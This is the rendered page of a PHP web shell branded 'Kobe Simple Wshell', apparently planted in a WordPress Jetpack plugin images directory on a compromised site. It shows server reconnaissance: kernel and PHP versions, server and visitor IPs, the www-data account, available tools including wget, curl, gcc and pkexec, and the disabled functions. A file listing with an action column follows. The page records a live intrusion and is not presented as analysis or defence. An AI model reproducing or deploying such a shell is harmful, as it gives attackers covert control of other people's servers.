Kobe Simple Wshell | Alexithema1337
: /home/lmd/wp-content/plugins/jetpack/images/ [
Information Server
System: Linux lmdmall.lk 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:16:20 UTC 2015 x86_64
Software: Apache
PHP Version: 5.6.23-1+deprecated+dontuse+deb.sury.org~trusty+1 PHP Os: Linux
Server IP: 192.124.249.4
Your IP: 216.73.216.242
User: www-data [33] | Group: [www-data] [33]
Safe Mode:OFF
MYSQL:ON | PERL: ON | PYTHON: ON | WGET: ON | CURL: ON | GCC: ON | PKEXEC: ON
Disable Function:
Software: Apache
PHP Version: 5.6.23-1+deprecated+dontuse+deb.sury.org~trusty+1 PHP Os: Linux
Server IP: 192.124.249.4
Your IP: 216.73.216.242
User: www-data [33] | Group: [www-data] [33]
Safe Mode:
MYSQL:
Disable Function:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
: images
NAME | TYPE | LAST MODIFIED | SIZE | OWNER / GROUP | PERMISSIONS | ACTION |
.. | ||||||
apps | d!r | 2024-10-14 18:56 | - | lmd / www-data | ||
plans | d!r | 2024-10-14 18:56 | - | lmd / www-data | ||
rss | d!r | 2024-10-14 18:56 | - | lmd / www-data | ||
aurora-lrg.jpg | f!le | 2024-10-14 18:56 | 223.65 KB | lmd / www-data | ||
aurora-med.jpg | f!le | 2024-10-14 18:56 | 155.85 KB | lmd / www-data | ||
aurora-sm.jpg | f!le | 2024-10-14 18:56 | 105.73 KB | lmd / www-data | ||
connect-plug.svg | f!le | 2024-10-14 18:56 | 1.58 KB | lmd / www-data | ||
feature-photon-lrg.jpg | f!le | 2024-10-14 18:56 | 192.61 KB | lmd / www-data | ||
feature-photon-med.jpg | f!le | 2024-10-14 18:56 | 116.33 KB | lmd / www-data | ||
feature-photon-sm.jpg | f!le | 2024-10-14 18:56 | 81.22 KB | lmd / www-data | ||
jetpack-icon.jpg | f!le | 2024-10-14 18:56 | 9.64 KB | lmd / www-data | ||
jetpack-logo.png | f!le | 2024-10-14 18:56 | 706 B | lmd / www-data | ||
jetpack-logo.svg | f!le | 2024-10-14 18:56 | 2.41 KB | lmd / www-data | ||
long-clouds.svg | f!le | 2024-10-14 18:56 | 1.03 KB | lmd / www-data | ||
stars-left.svg | f!le | 2024-10-14 18:56 | 486 B | lmd / www-data | ||
stars-right.svg | f!le | 2024-10-14 18:56 | 376 B | lmd / www-data | ||
stat-bars.svg | f!le | 2024-10-14 18:56 | 682 B | lmd / www-data | ||
stats-example-lrg.png | f!le | 2024-10-14 18:56 | 59.22 KB | lmd / www-data | ||
stats-example-med.png | f!le | 2024-10-14 18:56 | 30.51 KB | lmd / www-data | ||
stats-example-sm.png | f!le | 2024-10-14 18:56 | 14.21 KB | lmd / www-data | ||
stats-smiley.gif | f!le | 2024-10-14 18:56 | 50 B | lmd / www-data | ||
stats.svg | f!le | 2024-10-14 18:56 | 3.71 KB | lmd / www-data | ||
white-clouds-reverse.svg | f!le | 2024-10-14 18:56 | 1.33 KB | lmd / www-data | ||
white-clouds.svg | f!le | 2024-10-14 18:56 | 1007 B | lmd / www-data |
© KOBE - ALEXITHEMA